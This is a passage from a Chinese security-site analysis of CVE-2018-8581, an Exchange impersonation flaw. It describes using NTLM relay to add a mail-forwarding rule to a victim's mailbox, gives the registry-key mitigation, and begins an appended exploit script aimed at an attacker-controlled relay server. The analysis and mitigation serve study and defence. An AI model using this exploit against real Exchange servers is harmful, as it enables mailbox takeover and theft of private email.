欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

Microsoft Exchange任意用户伪造漏洞分析(CVE-2018-8581)

来源:本站整理 作者:佚名 时间:2018-12-25 TAG: 我要投稿

8、最后一步,我们还需要一些事件来触发推送订阅(Push Notification)。为了保持隐蔽性,我们可以等待一段时间,或者执行一些操作,例如编写并发送新电子邮件、删除刚刚创建的文件夹等。

如果一切顺利,应该可以从Exchange Server接收到我们的serverHTTP_relayNTLM.py地入站连接。

如果攻击成功,那么可以在最后一个响应中看到ResponseClass="Success"。这意味着,入站规则已经添加到受害者的邮箱,并且所有入站的电子邮件都将转发给攻击者。
现在,一切都已经就绪,是时候测试我们的新规则了。我们需要从任意帐户向受害者的邮箱发送电子邮件,但与不能使用新规则中的目标地址发送邮件(在此示例中,为attacker@contoso.local),原因在于,如果发件人和收件人是相同的地址,该规则将不会转发这封邮件。接下来,我们以管理员身份登录,并向受害者发送一些“敏感”信息。

检查攻击者的收件箱,我们看到,邮件已经成功从受害者邮箱中转发。

我们可以看到,新的电子邮件将会转发给攻击者。通过其他Exchange Web服务API(例如AddDelegate),或者为目标文件夹分配编辑的权限,也可以实现类似的效果。
漏洞补丁
Microsoft在2018年11月发布的补丁中,对该漏洞进行了缓解,漏洞编号为CVE-2018-8581。但实际上,并没有针对该漏洞进行严格意义上的修复。Microsoft表示,应该删除某个特定的注册表项,从而启用环回检查。如上文所述,Exchange Server默认设置了以下注册表项:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\DisableLoopbackCheck = 1
如果删除HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\DisableLoopbackCheck键值,那么这一漏洞将无法被利用。要删除注册表项,需要在管理员权限的命令行窗口中,输入如下命令:

在删除键值后,无需重新启动操作系统,也无需重新启动Exchange Server。Microsoft发布的公告指出,在此后Exchange累计更新中,将不会再默认启动这一注册表项。
总结
对于攻击者来说,多年来,Exchange Server一直是一个受欢迎的目标,因为电子邮件已经成为我们工作中的一个核心组成部分。该漏洞允许伪装成任意用户,此前报告的一个漏洞还允许任意代码执行,而这两个漏洞都向我们展示了,有时最大的威胁时来自企业的内部。此外,这些漏洞还展现了外部攻击者是如何从单一突破口向整个企业中扩散的。
附录
Exch_EWS_pushSubscribe.py
#!/usr/bin/python
import socket
import base64
import httplib
import urllib
import os, ssl
from ntlm import ntlm
 
#You have to replace next values by valid ip/address, port and protocol ('http' or 'https')
ip='exch2016.contoso.local'
tcp_port = 443
#PROTO='http'
PROTO='https'
 
#Credentials of attacker
USER = 'attacker'
DOMAIN = 'contoso.local'
PASS = 'P@ssw0rd'
 
URL = "/EWS/Exchange.asmx"
 
#URL of our HTTP server that will use NTLM hashes for impersonation of victim
EVIL_HTTPSERVER_URL = "http://192.168.50.173:8080/test"
 
#Debug flag:
print_debug_info = 1
 
 
try:
    _create_unverified_https_context = ssl._create_unverified_context
except AttributeError:
    # Legacy Python that doesn't verify HTTPS certificates by default
    pass
else:
    # Handle target environment that doesn't support HTTPS verification
    ssl._create_default_https_context = _create_unverified_https_context
 
 
def main(ip,port,proto):     
     
       #Connection to server
       if proto=='https':
              conn = httplib.HTTPSConnection(ip,port)
              #conn = httplib.HTTPSConnection(ip)
       else:
              conn = httplib.HTTPConnection(ip,port)

上一页  [1] [2] [3] [4] [5] [6]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载